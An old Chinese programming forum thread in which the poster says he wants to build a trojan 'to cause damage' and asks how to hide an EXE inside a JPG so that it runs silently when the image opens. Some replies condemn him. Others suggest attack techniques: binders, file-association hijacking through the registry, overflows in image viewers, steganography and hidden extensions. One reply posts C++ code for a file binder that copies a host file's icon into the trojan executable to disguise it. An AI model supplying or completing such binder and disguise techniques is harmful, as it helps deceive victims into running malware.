关于EXE文件的隐藏问题,请大家发表意见,谢谢合作!

Summer1314 2004-07-06 03:04:10
如果想把一个EXE文件隐藏到别的文件里,比如JPG、BMP、TXT。以JPG文件为例,我把一个木马程序隐藏到其中,当打开这个文件时,首先打开JPG文件,把图片显示给用户,然后神不知鬼不觉地运行隐藏的EXE文件;或者反过来,先运行EXE,然后显示JPG。不知道能否实现,有什么办法实现,希望各位GG、JJ、DD、MM们踊跃发言!
小弟觉得给文件加壳可以做到,同时还要修改文件的图标。另外小弟还有一个问题:怎样在我的程序里修改其他文件默认的图标,文件的后缀名可以是任意的。
小弟是个穷人,只有40块了,以后挣了在给大家补上。小弟是搞通讯的,现在没什么事干,想做个木马搞点破坏,目前做了一部分,有空就贴出来,希望能和大家交流交流,沟通沟通,了解了解,谢谢!
小弟的QQ:21049506 EMAIL:summer1314_81@yahoo.com.cn
...全文
1404 25 打赏 收藏 转发到动态 举报
写回复
用AI写文章
25 条回复
切换为时间正序
请发表友善的回复…
发表回复
MFCClass 2004-10-28
  • 打赏
  • 举报
回复
对,他有点问题
sjzxyg 2004-08-03
  • 打赏
  • 举报
回复
to StarsWu(伍星):
有这种事情?
StarsWu 2004-08-01
  • 打赏
  • 举报
回复
提示一下:有种文件的后赘是永不显示的,而且图标象记事本文档.其中可加入自己的程序,而且点击运行.
howtotell 2004-08-01
  • 打赏
  • 举报
回复
修改图标:
/*
函数:获取文件中图标所在位置
*/
void CBindFile::GetPos(CString m_path)
{
dwIconSize=0;
dwWritePos=0;

_IMAGE_DOS_HEADER dosHead;
_IMAGE_NT_HEADERS ntHead;
_IMAGE_SECTION_HEADER secHead;

CFile fp;
fp.Open(m_path,CFile::modeRead);
fp.Read(&dosHead,sizeof(_IMAGE_DOS_HEADER));//移动文件指针到MZ Header末尾
fp.Seek(dosHead.e_lfanew,CFile::begin); //读取PE Header的位置
fp.Read(&ntHead,sizeof(_IMAGE_NT_HEADERS)); //将文件指针移动到PE Header,
//读取PE Header

/*查找.rsrc节,移动文件指针到.rsrc节开始的位置*/
for(int i=0;i<ntHead.FileHeader.NumberOfSections;i++)
{
fp.Read(&secHead,sizeof(_IMAGE_SECTION_HEADER));
if(strcmp((char*)secHead.Name,".rsrc")==0)
{
break;
}
}

_IMAGE_RESOURCE_DIRECTORY dirResource;
fp.Seek(secHead.PointerToRawData,CFile::begin); //读取资源根节点开始的位置
DWORD pos=fp.GetPosition();
fp.Read(&dirResource,sizeof(_IMAGE_RESOURCE_DIRECTORY));

_IMAGE_RESOURCE_DIRECTORY_ENTRY entryResource;

_IMAGE_RESOURCE_DIRECTORY dirTemp; //第二层
_IMAGE_RESOURCE_DIRECTORY_ENTRY entryTemp;

_IMAGE_RESOURCE_DIRECTORY dirTempICON; //第三层
_IMAGE_RESOURCE_DIRECTORY_ENTRY entryTempICON;
_IMAGE_RESOURCE_DATA_ENTRY entryData; //资源入口


for(i=0;i<dirResource.NumberOfIdEntries+dirResource.NumberOfNamedEntries;i++)
{
fp.Read(&entryResource,sizeof(_IMAGE_RESOURCE_DIRECTORY_ENTRY));

if(entryResource.Name==3)//该资源是图标
{
fp.Seek(pos+entryResource.OffsetToDirectory,CFile::begin);
fp.Read(&dirTemp,sizeof(_IMAGE_RESOURCE_DIRECTORY));

for(int k=0;k<dirTemp.NumberOfIdEntries;k++)//遍历各个入口点指示的目录
{
fp.Read(&entryTemp,sizeof(_IMAGE_RESOURCE_DIRECTORY_ENTRY));

if(entryTemp.DataIsDirectory >0) //还有子目录
{
fp.Seek(pos+entryTemp.OffsetToDirectory,CFile::begin);
fp.Read(&dirTempICON,sizeof(_IMAGE_RESOURCE_DIRECTORY));

fp.Read(&entryTempICON,sizeof(_IMAGE_RESOURCE_DIRECTORY));

fp.Seek(pos+entryTempICON.OffsetToData,CFile::begin);
fp.Read(&entryData,sizeof(_IMAGE_RESOURCE_DATA_ENTRY));

if(entryData.Size >=744)//找到第一个图标
{
break;
}
}
}
}
}

fp.Close();

dwIconSize=entryData.Size;//图标大小
dwWritePos=pos+entryData.OffsetToData - secHead.VirtualAddress;//图标起始位置

}


/*
函数:修改图标
*/
void CBindFile::ModifyIcon()
{
DWORD SrcWritePos,SrcWriteSize,DstWritePos,DstWriteSize;
char* SrcBuf;

m_strSrc=m_strF1;

CString m_strDst=m_strCurPath+"\\binderTemp.exe";

if(::GetFileAttributes(m_strSrc)==-1||::GetFileAttributes(m_strDst)==-1)
{
AfxMessageBox("目标文件或源文件不存在",MB_ICONERROR);
return;
}

GetPos(m_strSrc);
SrcWritePos=dwWritePos;
SrcWriteSize=dwIconSize;

GetPos(m_strDst);
DstWritePos=dwWritePos;
DstWriteSize=dwIconSize;

if(DstWriteSize<SrcWriteSize)
{
AfxMessageBox("源图标的数据量大于目标图标,\r\n转换不能进行.",MB_ICONERROR);
return;
}

/*读取宿主文件图标数据*/
CFile cfile;
cfile.Open(m_strSrc,CFile::modeRead);
cfile.Seek(SrcWritePos,CFile::begin);
SrcBuf=new char [SrcWriteSize];
cfile.Read(SrcBuf,SrcWriteSize);
cfile.Close();

/*将图标数据写入绑定后的文件*/
cfile.Open(m_strDst,CFile::modeWrite);
cfile.Seek(DstWritePos,CFile::begin);
cfile.Write(SrcBuf,SrcWriteSize);
cfile.Close();
}

verybigbug 2004-08-01
  • 打赏
  • 举报
回复
变态,病态。。
zjpixyniannian 2004-07-31
  • 打赏
  • 举报
回复
当然如果文件比较大,你就只能嵌入大的图片
zjpixyniannian 2004-07-31
  • 打赏
  • 举报
回复
在BMP的图像中可以嵌入别的文件,具体的操作大致是,在每个象素的RGB值中取出几个位,把文件按字节写入这些位,当然改写这些位会使图像的色彩发生变化,所以选择哪些位进行修改是很有研究的,只要色彩变化的结果使得人眼看不出来就可以.
headman 2004-07-31
  • 打赏
  • 举报
回复
如果用来打开jpg的程序有溢出漏洞,那么你可以把你的程序的二进制代码放在jpg中,不需要封装成pe格式,理论上有可能。
如果只是把一个exe文件名后缀改成jpg,哈哈,这只是欺骗,不是技术。
qinzui 2004-07-29
  • 打赏
  • 举报
回复
向你提供一些思路:

了解jpg图片格式,弄清楚到底在其中加入了二进制代码后会不会出问题,如果加代码加在哪里,不要弄得图片都不能显示了;


方案一:
用你加外壳的技术给ACDSee执行程序加上外壳,自动执行你的程序就行了啊

方案二:
在系统中安装监视程序,只要启动ACDSee,就启动你的Exe文件

说来说去,有点绕了 呵呵
累了一天了 晕了
biliangxia 2004-07-29
  • 打赏
  • 举报
回复
可以,有没有研究过windows2000中的打开方式。
举个例子,对某个.jpg文件选择打开方式
转移到my.exe文件,在my.exe又能查出.jpg原来的打开方式,然后,在my.exe执行了
如ShellExecute(.....)该函数用jpg文件作为参数,就可以按原来的方式打开jpg文件。
该技术我已研究过,主要是修改注册表文件。
xenix 2004-07-29
  • 打赏
  • 举报
回复
不可能,只能其他数据在exe之后,而不能相反
yyfa6 2004-07-28
  • 打赏
  • 举报
回复
mark
mynamelj 2004-07-24
  • 打赏
  • 举报
回复
不要乱来啊
nelo0844 2004-07-23
  • 打赏
  • 举报
回复
要做守法公民!
taianmonkey 2004-07-23
  • 打赏
  • 举报
回复
我用过十几种了,但是不好公布!
现在正在研究创建一个远程线程技术!
rivershan 2004-07-20
  • 打赏
  • 举报
回复
分析图片文件格式,可以写里面,偶见过这样的程序。。。
Atry 2004-07-19
  • 打赏
  • 举报
回复
可以这样,在里面的资源里面放一个TXT或者JPG或者什么什么的,然后把它解压到临时目录,然后运行它,然后别人就以为是个TXT或者JPG或者什么的还很好看
yening0914 2004-07-19
  • 打赏
  • 举报
回复
如果只是进行技术探讨应该支持!
lanstar200 2004-07-19
  • 打赏
  • 举报
回复
大家注意了,坏人出现了。。。
liotion 2004-07-19
  • 打赏
  • 举报
回复
我靠~~ 鄙视楼主的卑劣行径~~~
加载更多回复(5)

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧